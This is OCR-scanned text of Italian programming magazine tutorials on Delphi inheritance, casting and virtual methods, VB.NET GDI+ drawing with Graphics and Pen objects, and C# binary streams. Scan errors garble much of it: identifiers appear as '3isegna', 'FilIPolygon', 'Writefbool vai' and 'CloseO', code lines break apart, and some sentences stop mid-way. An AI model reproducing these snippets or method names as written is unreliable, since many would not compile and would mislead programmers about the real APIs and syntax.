Disegna(gc 


e: TCanvas; inizio 


TPunto); 


procedure 


SetLato(n: 


Integer); 




end; 
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dove i metodi CalcolaArea, CalcolaPerìmetro, SetBa- 
se e SetHeight di TQuadrato nascondono (hide) 
quelli di TRettangolo. Nel Listato 1 trovate il codice di 
implementazione dei vari metodi: non c'è bisogno 
di nessun commento particolare, si tratta di istruzio- 
ni veramente essenziali e semplici, ma vorrei soffer- 
marmi su una parola chiave nuova, inherìted, di cui 
comunque avete probabilmente intuito già la valen- 
za. Grazie ad essa potete richiamare la versione ori- 
ginale dalla classe madre di metodi che la classe de- 
rivata ha ridefinito. Così nel nostro caso, invocare di- 
rettamente SetBase e SetHeight da TQuadrato non fa 
altro che invocare Settato, per questo nel codice di 
SetLato dobbiamo utilizzare inherited di modo tale 
che venga utilizzata l'implementazione dei due me- 
todi che è data nella classe base, cioè TRettangolo. 



COMPATIBILITA 
TRA CLASSI 

Adesso che abbiamo introdotto la nozione di eredi- 
tarietà prendiamo una breve pausa prima di affron- 
tare l'argomento del binding dei metodi a run-time, 
anche perché, per poterne parlare, abbiamo biso- 
gno di capire che possibilità di casting abbiamo tra 
gli oggetti di classi diverse. Il discorso, nella sua ver- 
sione succinta, è il seguente: una variabile dichiara- 
ta come contenente oggetti di una certa classe potrà 
contenere solo quel tipo di oggetto, oppure - e qui 
sta nocciolo della questione - oggetti di una classe 
derivata da quella dichiarata. Nella pratica: 



var 


unRettangolo: TRettangolo; 


altroRettangolo: 


TRettangolo; 




terzoRettangolo 


TRettangolo; 




begin 


unRettangolo: = 


TRettangolo. Create; 


//OK! 


altroRettangolo: 


= TQuadrato. Create; 


//OK! 


terzoRettangolo 


= TLinea. Create; // NO! 


end; 



l'assegnazione di unRettangolo è palesemente cor- 
retta, ma anche quella di altroRettangolo, perché 
TQuadrato, derivando da TRettangolo, è in realtà 
meramente una specializzazione della classe madre, 
e quindi con esso compatibile: è come dire, che un 
quadrato è un rettangolo. Chi lo può negare? 
L'ultimo statement invece genererà un errore di 
compilazione, perché TLinea non ha nessuna rela- 
zione gerarchica con TRettangolo. Poniamoci ades- 
so questa domanda: il rettangolo è un quadrato? La 
risposta non può essere un no categorico, perché in 
alcune circostanze (quando base ed altezza sono 
uguali) il rettangolo effettivamente è un quadrato. In 
termini informatici questo viene tradotto così: non è 
possibile assegnare direttamente un oggetto di tipo 



TRettangolo ad una variabile che contiene oggetti 
TQuadrato, perché il compilatore non può assume- 
re implicitamente la compatibilità dei due tipi (vd. 
Fig. 1). È possibile però effettuare un cast esplicito, 
che è come dire al compilatore che noi sappiamo 
che quel rettangolo in realtà è proprio un quadrato. 
Ecco la sintassi 

var 

unQuadrato: TQuadrato; 

unRettangolo: TRettangolo; 
begin 

unRettangolo: = TRettangolo. Create; 
// LA RIGA SOTTO GENERA UN'ECCEZIONE A RUN-TIME 

unQuadrato: = unRettangolo as TQuadrato; 

unRettangolo: = TQuadrato. Create; 
// LA RIGA SOTTO NON COMPILA 

unQuadrato: = unRettangolo; 
// LE DUE RIGHE SOTTO SONO VALIDE ED EQUIVALENTI 

unQuadrato: = TQuadrato(unRettangolo); 

unQuadrato:= unRettangolo as TQuadrato; 
end; 

notate che le ultime due assegnazioni nel blocco di 
codice precedente sono equivalenti e sono mostrate 
entrambe per completezza: solo una delle due è 
necessaria per portare a termine l'operazione. Con 
questo codice ci assumiamo noi la responsabilità di 
utilizzare l'oggetto indicato come un TQuadrato, 
perché anche se tipo della variabile cui appartiene 
è TRettangolo noi sappiamo che in realtà quell'og- 
getto è un TQuadrato. Se 
in fase di esecuzione 
venisse effettivamente ri- 
scontrato che non è così, 
verrebbe generata un'ec- 
cezione di tipi incom- 
patibili. Attenzione che 
giochino del cast (nella 
sintassi con le parentesi 
o utilizzando l'operatore 
as) funziona ovviamente 

solo quando i tipi fanno parte della stessa struttura 
gerarchica e quindi questo blocco 

var 

unaLinea: TLinea; 

unRettangolo: TRettangolo; 
begin 

unRettangolo: = TRettangolo. Create; 

unaLinea:= unRettangolo as TLinea; 
end; 

non compilerà a nessuna condizione: con tutta la 
buona volontà, insomma, non riusciamo a convin- 
cere neanche compilatore Delphi del fatto che una 
linea sia un rettangolo! Per concludere questa breve 
, a questo punto viene comodo menzionare rapida- 




POLIMORFISMO 
E PROPRIETÀ 

È perfettamente 
plausibile ridefinire le 
proprietà di una classe 
derivata per 
nasconderne la 
dichiarazione della 
classe madre. Il fatto 
che venga riproposto il 
tipo di dati della 
proprietà indica che la 
si sta reintroducendo 
per coprire la versione 
originale, mentre se il 
tipo di dati è omesso si 
sta facendo override 
della stessa ed in 
questo caso si possono 
solo aggiungere 
caratteristiche a quelle 
presenti nella classe 
base. 




Fig. 3: L'applicazione della volta scorsa ora gestisce 
rettangoli e derivati (quadrati). 
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Le classi di esempio 

utilizzate nella 

spiegazione sono state 

impiegate nella 

creazione di una 

semplice applicazione 

grafica che disegna 

rettangoli e quadrati. 

Nell'ultima puntata del 

nostro corso 

trasformeremo questo 

semplice programma 

in una completa 

applicazione grafica. 



mente anche l'operatore is, che permette di valutare 
- tra classi compatibili - se un certo oggetto è o 
meno derivato da una certa classe 

unRettangolo:= TRettangolo. Create; 
unQuadrato:= TQuadrato. Create; 
unRettangolo is TQuadrato // restituisce False 
unQuadrato is TRettangolo // restituisce True 
unQuadrato is TQuadrato // restituisce True 
unRettangolo is TLinea // genera un errore di 

compilazione 



BIIUDIIUG STATICO 
E DINAMICO 

Dopo aver visto come un oggetto può essere utiliz- 
zato come se fosse un'istanza della sua classe madre, 
o eventualmente di una delle classi discendenti pre- 
vio cast esplicito, andiamo a porci un nuovo quesito, 
partendo dal blocco di codice a seguire: 



var 


unRettangolo 


TRettangolo; 




begin 


unRettangolo 


= TQuadrato. Create; 




unRettangolo 


base:= 150; 




unRettangolo 


altezza := 150; 




// NELLA RIGA SOTTO QUALE Disegna 


VIENE INVOCATO? 


unRettangolo. 


3isegna(Canvas,TPunto 


Create(500,200)); 


end; 



La riga che segue al commento contiene una chia- 
mata al metodo Disegna, che è presente sia in 
TQuadrato che TRettangolo: l'oggetto è effettiva- 
mente un TQuadrato, ma la variabile che lo contie- 
ne è dichiarata come TRettangolo. Quindi quale 
delle due versioni verrà di fatto invocata quando 
eseguiamo unRettangolo.Disegna? In base al nostro 
codice così come è stato scritto, sarà richiamata la 
funzionalità incorporata nella versione di TRettan- 
golo del metodo, come conseguenza del fatto che la 
variabile su cui è stata richiesta l'invocazione è di 
tale tipo. Abbiamo messo in atto - senza necessaria- 
mente volerlo, dato che si tratta di un default - il bin- 
ding statico delle chiamate. Con ciò si intende che il 
polimorfismo delle varie funzionalità non sarà lega- 
to al tipo di oggetto stesso che le offre, ma al tipo del- 
la variabile che lo contiene. Questa modalità è detta 
statica perché determinabile in maniera fissa e 
immutabile già in fase di compilazione in base alla 
dichiarazione della variabile in questione. L'alter- 
nativa - come potete immaginare - è invece il bin- 
ding dinamico, che consiste nel far sì che il metodo 
polimorfico invocato a fronte di una chiamata 
dipenda non dal tipo di variabile, bensì dall'oggetto 
effettivo su cui è stata effettuata l'invocazione. Nel 
nostro caso precedente, se volessimo che l'imple- 



mentazione di Disegna utilizzata fosse quella di 
TQuadrato anche se la variabile unRettangolo è di ti- 
po TRettangolo, dovremmo apportare le seguenti 
modifiche alle dichiarazioni delle due varianti del 
metodo interessato: nella classe madre, che lo defi- 
nisce per prima, avvertiamo che il metodo è da col- 
legare dinamicamente al suo oggetto tramite la pa- 
rola chiave virtual: 

procedure Disegna(gdc: TCanvas; inizio: TPunto); virtual; 

nelle varie derivate, invece, introduciamo una va- 
riante del metodo da specializzare ad opera della 
parola chiave override: 

procedure Disegna(gdc: TCanvas; inizio: TPunto); override. 

Se viene omessa override, viene generato un war- 
ning di compilazione avvertendovi che state na- 
scondendo (hide) il metodo invece che reimple- 
mentarlo: nella sostanza, rimanete con una situa- 
zione di binding statico. Se questo è quello che in- 
tendete fare, allora la clausola reintroduce vi per- 
mette di eliminare il warning e fare la stessa cosa! 



METODI ASTRATTI 

Prima di concludere la nostra penultima puntata 
dedicata al linguaggio di Delphi, volevo proporre 
ancora una riflessione che ci porta ad un'altra carat- 
teristica dell'OOE Poniamo caso di voler creare una 
generica classe che rappresenti una figura geometri- 
ca, TFigura: nel definire i vari membri che essa con- 
terrà, possiamo pensare ad una serie di proprietà 
(colore, spessore della linea, etc) ed ad un metodo 
Disegna che sicuramente hanno senso per tutte le 
derivate che possiamo voler creare da tale classe. Ma 
se proviamo a soffermarci un attimo sull'implemen- 
tazione del metodo Disegna ci troviamo in seria dif- 
ficoltà, visto che è impossibile decidere come dise- 
gnare una generica figura senza sapere qual è! Tutto 
questo ha una sua traduzione sintattica in Object 
Pascal: si tratta del modificatore abstract, con cui si 
indica appunto che un metodo è solamente dichia- 
rato in una classe e la sua implementazione è lascia- 
ta ad eventuali derivate della stessa. Il significato 
pratico della parola chiave è che il metodo in que- 
stione fa parte delle funzionalità della classe, ma che 
il suo meccanismo effettivo è delegato alle varie sot- 
toclassi. A differenza di altri linguaggi (Java in pri- 
mis) Delphi vi permette di istanziare un oggetto da 
una classe con dei metodi astratti, ma vi darà un'ec- 
cezione a run-time se tentate di invocare tali meto- 
di. Tutto filerà liscio invece se i metodi vengono 
richiamati da un oggetto derivato in cui i metodi 
astratti siano implementati. 

Federico Mestrone 
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La tecnologia GDI+ del Framework .NET 



Grafica in VB.NET 

Da questo articolo inizia il viaggio all'interno della tecnologia messa 
a disposizione da VB .NET per il disegno di elementi grafici e per 
lavorare con bitmap ed altri tipi di immagini. La tecnologia GDI+. 



La tecnologia GDI+ si basa sulle API GDI+ (Gra- 
phics Device Interface) di Windows e fornisce 
al programmatore VB.NET tutti gli elementi 
necessari per disegnare elementi grafici in una qual- 
siasi applicazione Windows Form. Il settore della 
grafica computerizzata può essere genericamente 
suddiviso in due aree: 

Grafica vettoriale 

La grafica vettoriale implica il disegno di primitive, 
quali linee, curve e poligoni, specificati da un insie- 
me di punti in un sistema di coordinate. Il disegno 
non viene rappresentato dalla serie di pixel, che lo 
compone sullo schermo, ma è possibile, ad esempio, 
disegnare una linea retta specificando soltanto le 
coordinate dei due punti estremi, oppure disegnare 
un rettangolo tramite un punto che ne rappresenti la 
posizione dell'angolo superiore sinistro ed un paio 
di numeri che ne indicano la larghezza e l'altezza. 
Gli oggetti messi a disposizione da GDI+ per la ge- 
stione della grafica vettoriale sono racchiusi nel 
namespace System.Drawing.Drawing2D. 

Grafica raster 

In un'immagine raster, lo spazio è suddiviso in 
migliaia di quadratini detti pixel. Ogni quadratino 
può essere un colore, ed è compito del programma 
di grafica impostare il colore di ogni quadratino in 
base al tipo di strumento di disegno. Le immagini di 
questo tipo vengono memorizzate come bitmap, in 
cui ogni colore dei singoli punti sullo schermo viene 
trasformato in numero e memorizzato in una matri- 
ce. Ogni elemento nella matrice, è accessibile trami- 
te una coppia di coordinate x-y, che identifica il sin- 
golo pixel. Se disegnate un rettangolo in un pacchet- 
to di immagini raster, quel rettangolo viene rappre- 
sentato da tutti i pixel che lo compongono. Potete 
facilmente comprendere lo spreco di spazio e di 
risorse che si ottiene con un rettangolo disegnato 
come immagine raster piuttosto che come immagi- 
ne vettoriale, ma la visualizzazione di determinati 
tipi di immagini tramite le tecniche della grafica vet- 
toriale risulta difficile o impossibile. Pensate, ad 
esempio, alla complessità di rappresentare come 



immagine vettoriale un'immagine creata da una 
macchina fotografica digitale ad alta risoluzione. 
Gli oggetti messi a disposizione da GDI+ per la ge- 
stione delle immagini sono racchiusi nel namespace 
System.Drawing.Imaging. A queste due macro-aree 
va aggiunto il testo, anche se, in seguito alla diffusio- 
ne dei caratteri scalabili il testo viene spesso consi- 
derato parte della grafica vettoriale. Gli oggetti messi 
a disposizione da GDI+ per mostrare del testo appli- 
cando una gran varietà di forme, colori e stili, sono 
racchiusi nel namespace System.Drawing. Text. 



L'OGGETTO GRAPHICS 

La prima operazione da compiere, per disegnare 
elementi grafici in una qualsiasi periferica di visua- 
lizzazione, consiste nell'ottenere un riferimento ad 
un oggetto Graphics. Un oggetto Graphics rappre- 
senta, in pratica, una superficie di disegno (non de- 
ve essere necessariamente una superficie visibile), 
normalmente l'area client di un oggetto Form. 
L'oggetto Graphics non possiede un metodo costrut- 
tore pubblico, e quindi non può essere creato utiliz- 
zando la parola chiave New. Per questo non è possi- 
bile utilizzare la solita istruzione: 

Dim OggettoGrafico As New Graphics() "istruzione errata 

Esistono fondamentalmente due tecniche per utiliz- 
zare l'oggetto Graphics: 

Invocando il metodo CreateGraphics 

Si può creare un oggetto Graphics, utilizzando il 
metodo CreateGraphics esposto dalla form e da tutti 
i controlli. Chiamando il metodo CreateGraphics di 
un controllo (form compresa) si ottiene un riferi- 
mento ad un oggetto Graphics che rappresenta la 
superficie di disegno di tale controllo. Questo meto- 
do si deve utilizzare per disegnare in una form o in 
un controllo esistente. Ad esempio il seguente codi- 
ce disegna una linea di colore verde su una form: 

Private Sub Buttonl_Click(ByVal sender As 
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Come potete notare 

dai due esempi di 

utilizzo dell'oggetto 

Graphics, la differenza 

fondamentale tra i 

due metodi sta nel 

fatto che utilizzando il 

metodo 

CreateGraphics è 

necessario distruggere 

esplicitamente 

l'oggetto Graphics 

prima di uscire dalla 

procedura. Se questo 

non succede, la 

corrispondente risorsa 

di Windows sarà 

distrutta solo dal 

dispositivo di garbage 

collection. 



La proprietà 

enumerata 

PenAlignment fornisce 

anche altri tre valori - 

Left, Outset e Right - 

che però non 

funzionano 

nell'attuale versione 

di GDI+ e producono lo 

stesso effetto 

dell'impostazione 

predefinita (Center). 



System. Object, ByVal e As System. EventArgs) 
Handles Buttonl. Click 
Dìm OggettoGrafico As Graphics = 

Me. CreateGraphics OggettoGrafico. DrawLine( 

Pens. Green, 1, 1, 100, 100) 

OggettoGrafico. Dispose() 
End Sub 

Facendo riferimento a un oggetto graphics 

Si può ottenere un riferimento ad un oggetto Gra- 
phics, dall'argomento di tipo PaintEventArgs dell'e- 
vento Paint generato da una form o da un controllo. 
Questo metodo si utilizza, in genere, quando si crea 
codice di disegno per un controllo. Ad esempio il 
seguente codice disegna la stessa linea dell'esempio 
precedente, ogni volta che la form viene ridisegnata. 

Private Sub Forml_Paint(ByVal sender As Object, 

ByVal e As 

System. Windows. Forms. PaintEventArgs) Handles 

MyBase. Paint 
Dim OggettoGrafico As Graphics = e. Graphics 

OggettoGrafico. DrawLine(Pens. Green, 1, 1, 100, 100) 
End Sub 

Prima di approfondire la descrizione dell'oggetto 
Graphics descriviamo l'oggetto Pen che abbiamo 
utilizzato negli esempi. 



L'OGGETTO PERI 

Quando si traccia una linea su un foglio di carta, si 
utilizza una penna; quando si disegna una linea sul 
monitor di un computer si utilizza un oggetto Pen. 
Per l'oggetto Pen sono disponibili diversi costruttori: 
Per creare una penna con un particolare colore (ad 
esempio Blu), si può scrivere: 

Dim OggettoPen = New Pen(Color.Blue) 

Dove la struttura Color contiene l'elenco dei colori 
ARGB utilizzabili. Per creare una penna con un par- 
ticolare colore ed una determinata grandezza, si può 
scrivere: 

Dim OggettoPen = New Pen(Color.Blue, Larghezza) 



pixel, i pixel vengono centrati rispetto alla linea teo- 
rica, oppure vengono visualizzati a lato di essa in 
base all'impostazione della proprietà Alignment. 
Analizziamo in dettaglio le proprietà disponibili: 

Alignment determina la modalità di allineamento 
con cui l'oggetto Pen disegna curve chiuse e poligo- 
ni. L'enumerazione PenAlignment fornisce i valori: 
Center e Inset. Il valore predefinito è Center e specifi- 
ca che la larghezza della penna è centrata rispetto 
alla linea teorica. Se, invece, il valore della proprietà 
è Inset, la larghezza della penna è interna alla linea 
teorica. 

Brush permette di impostare l'oggetto Brush (che 
descriveremo nel prossimo articolo). Assegnando 
un valore a questa proprietà la penna disegnerà 
curve e poligoni pieni. 

Color permette di impostare il colore della penna. 
StartCap ed EndCap permettono di modificare la 
forma dei punti iniziale e finale della linea, in modo 
da creare facilmente frecce o altre figure comuni. 
È quindi possibile applicare all'inizio (estremità ini- 
ziale) oppure alla fine (estremità finale) di una linea, 
una delle diverse forme fornite dall'enumerazione 
LineCap, dette estremità di linea. Sono supportate 
numerose estremità di linee (elencate nel box), qua- 
li: rotonda, quadrata, a rombo ed a punta di freccia. 
DashStyle permette di impostare lo stile utilizzato 
per le linee tratteggiate, seguendo uno schema pre- 
definito, disegnate con l'oggetto Pen. 
Width permette di impostare la larghezza, in pixel, 
della linea, curva o poligono. 
Linejoin permette di impostare il tipo di join (unio- 
ne) delle terminazioni di due linee consecutive. 
DashPattern permette di creare dei tratteggi perso- 
nalizzati valorizzando una matrice di numeri reali 
che specifica le lunghezze dei trattini e degli spazi 
alternati, nelle linee tratteggiate. Gli elementi della 
matrice (DashArray) permettono di impostare, 
quindi, la lunghezza di ciascun trattino e di ciascuno 
spazio della linea tratteggiata. Il primo elemento 
imposta la lunghezza di un trattino, secondo quel- 
la di uno spazio, il terzo la lunghezza di un trattino e 
così via. 

DashOffset permette di impostare lo stile utilizzato 
per le linee tratteggiate. 



Dove il parametro Larghezza (di tipo Single) specifi- 
ca la larghezza, espressa in pixel, della linea. 
Usando il primo costruttore, la larghezza della linea 
viene posta al valore di default, vale a dire 1 (un pi- 
xel). Sono inoltre disponibili due ulteriori costrutto- 
ri, in cui è possibile specificare un oggetto Brush 
(che analizzeremo nei prossimi articoli) che deter- 
mina le proprietà di riempimento delle linee dise- 
gnate. Una linea teorica ha larghezza pari a zero, 
tracciando una linea con larghezza maggiore di un 



DISEGNARE LINEE 
E FORME 



L'oggetto Graphics espone numerosi metodi per 
disegnare primitive grafiche come linee rette, linee 
curve e poligoni. Sono inoltre disponibili anche dei 
metodi con cui è possibile disegnare delle aree 
piene. I metodi della classe Graphics sono preceduti 
dal prefisso Draw o Fili. Con i metodi Draw si dise- 
gnano linee e curve, mentre con i metodi Fili vengo- 
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no riempite aree, il cui contorno è definito da linee e 
curve. Per ogni metodo sono disponibili numerose 
forme sintattiche (overloading), ma di solito: il pri- 
mo argomento per tutti i metodi Draw è costituito 
da un oggetto Pen, mentre il primo argomento per 
tutti i metodi Fili è un oggetto Brush; i successivi 
argomenti possono essere un insieme di coordinate 
oppure un rettangolo di contenimento (come vedre- 
mo meglio in seguito). Per disegnare una singola 
linea retta, (che collega i due punti specificati da due 
coppie di coordinate), si utilizza il metodo Draw- 
Line. Sono disponibili quattro versioni di overload di 
DrawLine, ma ogni versione richiede le stesse infor- 
mazioni: la penna utilizzata per disegnare la linea e 
le coordinate in cui inizia e termina la linea. Le diffe- 
renze sono nel modo in cui vengono specificate le 
coordinate, come quattro valori Integer o Single op- 
pure come due strutture Point o PointE 

• La struttura Point, definisce un punto in un 
piano bidimensionale tramite una coppia ordi- 
nata di coordinate x ed y intere. Per ottenere 
un'istanza della classe Point si può utilizzare il 
costruttore: 

Dim Verticel As New Point(x, y) 

Dove x è la posizione orizzontale del punto (asse 
x) ed y è la posizione verticale del punto (asse y). 

• La struttura PointF differisce dalla struttura 
Point nel tipo di dati, il tipo Single, della coppia 
ordinata di coordinate x ed y. Per disegnare una 
linea di colore rosso che colleghi i punti di coor- 
dinate (1,1) e (100,100) si può scrivere: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 
Dim OggettoPen = New Pen(Color.Red) 
OggettoGrafico. DrawLine(OggettoPen, 1, 1, 100, 100) 
OggettoGrafico. Dispose() 

Nello specificare le coordinate di ogni punto, si deve 
tenere conto che l'angolo superiore sinistro della 
form ha coordinate x=l, y=l, e che i valori sono 
espressi in pixel; inoltre i valori crescenti di x si svi- 
luppano a destra di tale punto, ed i valori crescenti di 
y si sviluppano verso il basso. 
Nei prossimi articoli descriveremo in dettaglio le 
problematiche legate al sistema di riferimento delle 
coordinate. L'ordine dei due punti non riveste alcu- 
na importanza, quindi con l'istruzione: 

OggettoGrafico. DrawLine(OggettoPen, 100, 100, 1, 1) 

si ottengono gli stessi risultati. Per disegnare un ret- 
tangolo, si deve definire una coppia di coordinate 
che indichino l'angolo superiore sinistro, e due valo- 
ri che indichino la larghezza e l'altezza, utilizzando il 



metodo DrawRectangle. Per disegnare un rettangolo 
che abbia: l'angolo superiore sinistro in corrispon- 
denza dell'angolo superiore sinistro della form, una 
larghezza di cento pixel ed un'altezza di cinquanta 
pixel, si può scrivere: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 
Dim OggettoPen = New Pen(Color.Red) 
OggettoGrafico. DrawRectangle(OggettoPen, 1, 1, 100, 50) 
OggettoGrafico. Dispose() 

È possibile utilizzare un'altra forma di DrawRectan- 
gle in cui si specifica una struttura Rectangle. La 
struttura Rectangle memorizza un'area rettangolare 
in base alla posizione dell'angolo superiore sinistro, 
ed alle dimensioni, indicate nel costruttore. 
Per disegnare un poligono di qualsiasi forma, si deve 
valorizzare una matrice di coordinate, ognuna delle 
quali definisce un vertice del poligono, utilizzando il 
metodo DrawPolygon. Se, ad esempio, vogliamo 
disegnare un pentagono, dobbiamo fornire le coor- 
dinate dei cinque vertici, perciò possiamo scrivere: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 
Dim OggettoPen = New Pen(Color.Blue) 
'Crea i vertici che definiscono il poligono. 

Dim Verticel As New Point(60, 0) 

Dim Vertice2 As New Point(10, 50) 

Dim Vertice3 As New Point(10, 100) 

Dim Vertice4 As New Point(110 f 100) 

Dim Vertice5 As New Point(110, 50) 

'definisce la matrice di punti 

Dim MatriceDiPunti As Point() = {Verticel, Vertice2, 

Vertice3, Vertice4, Vertice5} 
'disegna il pentagono 
OggettoGrafico. DrawPolygon(OggettoPen, MatriceDiPunti) 



DISEGNARE ELLISSI 
ED ARCHI 

Per disegnare un'ellisse si deve definire il rettangolo 
che la contiene e passarlo al metodo DrawEllipse. 
Sono disponibili quattro versioni di overload di 
DrawEllipse, ma ogni versione richiede le stesse 





Fig. 1: In figura il disegno del pentagono. 



VALORI 
AMMESSI 
DALLA 

ENUMERAZIONE 
LINECAP 
AnchorMask 
determina una 
maschera utilizzata 
per controllare se un 
delimitatore di linea è 
un delimitatore di 
ancoraggio. 
ArrowAnchor 
determina un 
delimitatore di 
ancoraggio a freccia. 
Custom determina un 
delimitatore di linea 
personalizzato 
DiamondAnchor 
determina un 
delimitatore di 
ancoraggio a rombo. 
Fiat determina un 
delimitatore di linea 
piatto. 

NoAnchor determina 
l'assenza di 
ancoraggio. 
Round determina un 
delimitatore di linea 
rotondo. 
RoundAnchor 
determina un 
delimitatore di 
ancoraggio rotondo. 
Square determina un 
delimitatore di linea 
quadrato. 
SquareAnchor 
determina un 
delimitatore di linea di 
ancoraggio quadrato. 
Trìangle determina un 
delimitatore di linea 
triangolare. 
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ELENCO DEI 

METODI 

ESPOSTI 

DALLA CLASSE 

GRAPHICS 

Metodi che 

permettono il disegno 

di figure 



DrawArc, DrawBezier, 

DrawBeziers, 

DrawClosedCurve, 

DrawCurve, 

DrawEllipse, DrawLine, 

DrawLines, DrawPath, 

DrawPie, 

DrawPolygon, 

DrawRectangle, 

DrawPath 

Metodi che 

permettono il disegno 

di figure piene 

FHICIosedCurve, 

FillEllipse, FilIPie, 

FilIPolygon, 

FilIRectangle, FilIPath, 

FMRegion, FilIPath 

Metodi che 

permettono il disegno 

immagini 

Drawlmage, 

DrawlmageUnscaled, 

Drawlcon, Drawlcon, 

Drawlconllnstretched 



informazioni: la penna utilizzata per disegnare l'el- 
lissi ed il rettangolo di delimitazione specificato da 
una coppia di coordinate, un'altezza ed una lar- 
ghezza. 

Le differenze sono nel modo in cui viene specificato 
il rettangolo di delimitazione, come quattro valori 
Integer o Single oppure come due strutture Rectan- 
gle o RectangleF. 

Per disegnare, ad esempio, un'ellisse di colore blu 
inscritta nel rettangolo che abbia l'angolo superiore 
sinistro in corrispondenza dell'angolo superiore 
sinistro della form, una larghezza di cento pixel ed 
un'altezza di cinquanta pixel, si può scrivere: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 
Dim OggettoPen = New Pen(Color.Blue) 
OggettoGrafico. DrawEllipse(OggettoPen, 1, 1, 100, 50) 
OggettoGrafico. Dispose() 

Naturalmente se il rettangolo ha le dimensioni che 
corrispondono ad un quadrato, allora l'ellisse di- 
venta un cerchio. 

Per disegnare un arco si deve utilizzare metodo 
DrawArc, fornendo tutti dati necessari a tracciare 
un ellissi intera con in più due argomenti: l'angolo 
di partenza e l'ampiezza, entrambi espressi in gradi. 
L'angolo di partenza viene misurato in senso orario 
partendo dall'asse X. Anche l'ampiezza è misurata 
in senso orario. 

Ad esempio, per disegnare l'arco corrispondente 
alla metà inferiore di una circonferenza con centro 
nel punto (50,50) possiamo scrivere: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 
Dim OggettoPen = New Pen(Color.Blue) 
OggettoGrafico. DrawArc(OggettoPen, 1, 1, 100, 100, 0, 180) 
OggettoGrafico. Dispose() 



DISEGNARE 
FORME PIENE 

L'oggetto Graphics espone otto metodi (elencati nel 
box) che permettono il disegno di figure geometri- 
che piene. 

Per ogni metodo sono disponibili numerose forme 
sintattiche (overloading), ma tutte accettano come 
primo argomento un oggetto Brush che determina 
le modalità di riempimento della forma. Le moda- 
lità di riempimento sono diverse (solido, retinato, 
trama) e saranno descritte in dettaglio, insieme 
all'oggetto Brush, nel prossimo articolo, per il 
momento utilizziamo il colore solido. Se, ad esem- 
pio, vogliamo disegnare un rettangolo colorato di 
rosso ed un ellissi colorata di verde, possiamo utiliz- 
zare i metodi FilIRectangle e FillEllipse scrivendo: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 



OggettoGrafico. FillRectangle(Brushes. Red, 1, 1, 100, 50) 
OggettoGrafico. FillEllipse(Brushes. Green, 100, 1, 100, 50) 
OggettoGrafico. Dispose() 

Per disegnare la metà inferiore di un ellisse in blu e 
la metà superiore in rosso, possiamo utilizzare il 
metodo FillPie e scrivere: 
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Fig. 2: In figura il disegno dell'ellissi bicolore. 

Per colorare un poligono di qualsiasi forma definito 
da una matrice di coordinate, si deve utilizzare il 
metodo FilIPolygon che, a differenza di DrawPoly- 
gon, ammette un argomento aggiuntivo facoltativo 
che permette di specificare le modalità di riempi- 
mento per le aree che si intersecano: 

modalità alternata (predefinito) o modalità a spira- 
le. Per colorare di Marrone il pentagono disegnato in 
precedenza si può scrivere: 




CONCLUSIONI 

Con questo articolo abbiamo dato uno sguardo alle 
potenzialità offerte dalla tecnologia GDI+ che rap- 
presenta un'implementazione avanzata dell'inter- 
faccia di progettazione grafica (GDI) di Windows. 
Nel prossimo articolo ci addentreremo sempre di 

più nei meandri della grafica computerizzata. 

Luigi Buono 
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Stream binari 

Chiudiamo la panoramica sul sistema di Input/Output di .NET e C#. 

Dopo aver esaminato gli stream di byte e quelli di caratteri, 

ci occuperemo della lettura e della scrittura di dati in forma binaria. 



Finora abbiamo imparato a gestire sia gli 
stream basati sui byte sia quelli basati sui ca- 
ratteri. In molte situazioni, ad ogni modo, 
non si desidera interpretare uno stream né come 
una mera successione di byte né come una sempli- 
ce e lunga stringa. Quello che accade più di fre- 
quente, infatti, è dover gestire dei flussi di dati che 
contengono informazioni di natura tra loro diffe- 
rente. Ad esempio, in successione, uno stream po- 
trebbe contenere una stringa, un intero, un boolea- 
no ed un decimale. Per facilitare la lettura e la scrit- 
tura di informazioni "miste", C# mette a disposizio- 
ne dello sviluppatore un terzo tipo di stream: i 
cosiddetti stream binari. 



SCRITTURA 

DI DATI BINARI 

BinaryWriter è una classe che lavora da "involucro" 
intorno ad un comune stream di byte. Il suo costrut- 
tore più utilizzato è: 



BinaryWriter(Stream outputStream) 


Attraverso i metodi forniti dagli oggetti di tipo Bina- 


Metodo 


Utilizzo 


void Writefbool vai) 


Scrive un booleano. 


void Wrltefbyte vai) 


Scrive un byte senza segno. 


void Write(byte[] vai) 


Scrive un array di byte senza 
segno. 


void Write(char vai) 


Scrive un carattere. 


void Wrlte(char[] vai) 


Scrive un array di caratteri. 


void Wrlte(declmal vai) 


Scrive un decimai. 


void Wrlte(double vai) 


Scrive un doublé. 


void Wrlte(short vai) 


Scrive uno short con segno. 


void Wrltefint vai) 


Scrive un int con segno. 


void Wrlteflong vai) 


Scrive un long con segno. 


void Wrlte(sbyte vai) 


Scrive un byte con segno. 


void Wrlte(float vai) 


Scrive un float. 


void Wrlte(strlng vai) 


Scrive una stringa. 


void Wrlte(ushort vai) 


Scrive uno short senza segno. 


void Wrlte(uint vai) 


Scrive un int senza senza 
segno. 


void Wrlte(ulong vai) 


Scrive un long senza segno. 


^ TABELLA 1: 1 metodi di Binary Writer. j 



ryWriter diventa possibile scrivere dati di tipo qual- 
siasi fra quelli disponibili in C#. Il metodo WriteQ, 
difatti, è overloaded (Tab. 1). 
Oltre ai metodi di tipo WriteO, la classe BinaryWriter 
definisce anche i già noti FlushO e CloseO- Tutti i 
metodi citati, naturalmente, possono propagare 
delle eccezioni in caso di problemi. 



LETTURA 

DI DATI BINARI 

Se, da un lato, la classe BinaryWriter è usata per scri- 
vere informazioni binarie all'interno di un flusso di 
dati, dall'altra parte BinaryReader può essere usata 
per compiere l'operazione inversa. Il costruttore più 
utile fra quelli di BinaryReader è certamente: 

BinaryReader(Stream inputStream) 

I metodi di lettura messi a disposizione da Binary- 
Reader sono riportati nella Tab.2. 
Oltre ai metodi sopra elencati, BinaryReader defini- 
sce anche il tipico CloseO per la chiusura dello 
stream. I metodi di BinaryReader possono sollevare 
le comuni eccezioni già esaminate nel caso dei co- 



Metodo 


Utilizzo 


bool ReadBooleanO 


Legge un booleano. 


byte ReadByteQ 


Legge un byte senza segno. 


bytel] ReadBytesO 


Legge un array di byte senza 
segno. 


char ReadCharO 


Legge un carattere. 


diari] ReadCharsO 


Legge un array di caratteri. 


decimai ReadDecimalQ 


Legge un decimai. 


doublé ReadDoubleQ 


Legge un doublé. 


